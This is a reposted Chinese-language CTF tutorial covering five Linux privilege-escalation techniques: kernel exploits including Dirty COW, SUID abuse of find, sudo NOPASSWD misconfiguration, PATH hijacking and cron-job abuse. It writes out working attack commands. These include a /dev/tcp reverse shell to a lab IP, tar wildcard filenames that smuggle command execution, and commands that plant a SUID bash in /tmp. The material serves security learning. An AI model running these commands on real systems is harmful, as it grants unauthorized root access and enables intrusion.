[CTF]五种实用型linux提权方法!

一、内核提权

1. 常规内核提权

查看 linux 内核版本:

uname -a

使用 searchsploit 搜索对应 exp,并下载 c 文件进行编译:

searchsploit ubuntu 4.4.0
searchsploit -m linux/local/45010.c
gcc 45010.c -o 45010 #编译

在 meterpreter 下将编译好的 exp 上传到目标 tmp 目录下,赋予执行权限,可以看到执行后变为 root 权限:

2. 脏牛提权

Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write) 时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞

影响版本:Linux kernel >= 2.6.22(2007 年发行,到 2016 年 10 月 18 日才修复)

uname -a  #查看内核版本
cd CVE-2016-5195-master/
make   #编译生成可执行文件
./dcow -s  #执行exp,成功返回root shell

二、suid 提权


suid 可以让文件调用者暂时获得文件拥有者的权限,suid 提权的思路让普通用户运行 root 用户所拥有的 suid 文件,从而达到提权的目的。

可用于提权的文件列表:
Nmap
Vim
find
Bash
More
Less
Nano
cp
查找suid文件命令:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

发现 find 存在 suid:


使用 find 执行命令 whoami 发现是 root:

find 1.txt -exec whoami \;


使用 find 执行反弹 shell 命令(注意加上 - p 参数,否则反弹回来的可能是低权限用户 shell):

find 1.txt -exec bash -i >& /dev/tcp/192.168.197.149/4444 0>&1 -p \;

返回 kali 查看弹回 root shell:

三、sudo 提权

普通用户一般无法使用 root 用户命令,使用 sudo 命令可以让普通用户拥有 root 权限,但是一般都需要输入用户的密码。管理员为了运营方便可能会对 sudoer 文件进行不合理的配置,使普通用户不需要输入密码就可以使用 sudo 命令,从而导致权限提升的问题产生。

使用 sudo 需要输入用户密码,例如查看 shadow 文件:

管理员为了方便,配置 /etc/sudoers 文件,在文件中加入:

ubuntu ALL=(ALL:ALL) NOPASSWD:ALL

配置完成后,普通用户使用 sudo 无需输入密码即可执行 root 命令:

四、环境变量提权

PATH 是 Linux 和类 Unix 操作系统中的环境变量,它指定可执行程序的所有 bin 和 sbin 存储目录。当用户在终端上运行任何命令时,它会向 shell 发送请求以在 PATH 变量中搜索可执行文件来响应用户执行的命令。

echo $PATH   #查看环境变量

实验演示:

假设管理员用户在 /home/test 目录下创建了一个 demo.c 文件,内容如下,执行查看 shadow 文件命令,setuid 规定了其运行用户,以 root 权限进行编译和权限设置:

gcc demo.c -o demo   #编译
chomod u+s demo      #赋予suid

执行 demo 文件即执行 cat /etc/shadow 命令:

现在有一个攻击者拿到普通用户权限,首先执行如下命令查找具有 suid 的文件,发现 demo:

find / -perm -u=s -type f 2>/dev/null

普通用户执行 demo 文件:

接下来劫持环境变量进行提权:

cd /tmp
echo "/bin/bash" > cat   #创建名为cat的文件,内容为/bin/bash
cat cat
chmod 777 cat            #赋予777权限
export PATH=/tmp:$PATH     #将tmp目录添加环境变量
echo $PATH

最后执行 demo,在执行 cat 命令时,从环境变量中查找,按查找顺序优先查找 /tmp 目录,而 /tmp 目录下的 cat 内容为 /bin/bash,所以执行的命令从 cat /etc/shadow 就变成了 /bin/bash/etc/shadow,从而达到提权的目的。

五、Cronjobs 提权

1. 通配符提权

查看定时任务,发现一个以 root 权限执行的任务 test2.sh,查看 test2.sh,发现任务的工作为每分钟执行将 /home/ubuntu 下的所有内容打包为 backup.tar.gz 并放置在 /tmp 目录下(通配符 * 代表目录下的所有文件)。

cat /etc/crontab  #查看定时任务

在 /home/ubuntu 目录下创建三个文件:

echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > test.sh
echo "" > --checkpoint=1    #文件名为--checkpoint=1
echo "" > "--checkpoint-action=exec=sh test.sh"
#文件名为--checkpoint-action=exec=sh test.sh

当定时任务触发后,使用了通配符 * 对整个文件夹进行打包,系统真正执行打包时,将目录下的文件一个一个传参给通配符执行打包操作,而在打包–checkpoint=1 和–checkpoint-action=exec=sh test.sh 时相当于执行如下命令:

tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh

而–checkpoint 和–checkpoint-action 正好时 tar 的参数,此处会被当作参数执行而非文件名打包。–checkpoint-action=exec=sh test.sh 为执行 test.sh 文件,test.sh 文件内容为复制 bash 到 tmp 目录并赋予 suid,即可达到提权的目的:


据说相似的命令还有 chown、chmod、rsync 等。

2. 文件重写提权

由于管理员对定时文件权限错误分配而导致普通用户具有写权限,从而达到提权。

普通用户查看定时任务,发现 datetest.sh 为 777 权限而且为 root 用户:


普通用户可在 datetest.sh 中写入命令,将 bash 复制到 tmp 并赋予 suid:

"cp /bin/bash /tmp/bash;chmod +s /tmp/bash" >> /usr/local/bin/datetest.sh

执行获取 root 权限:

原文作者:juice
转自链接:https://www.wangan.com/p/7fy747408cfd6254
版权声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请保留以上作者信息和原文链接。


发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(0)

sitemap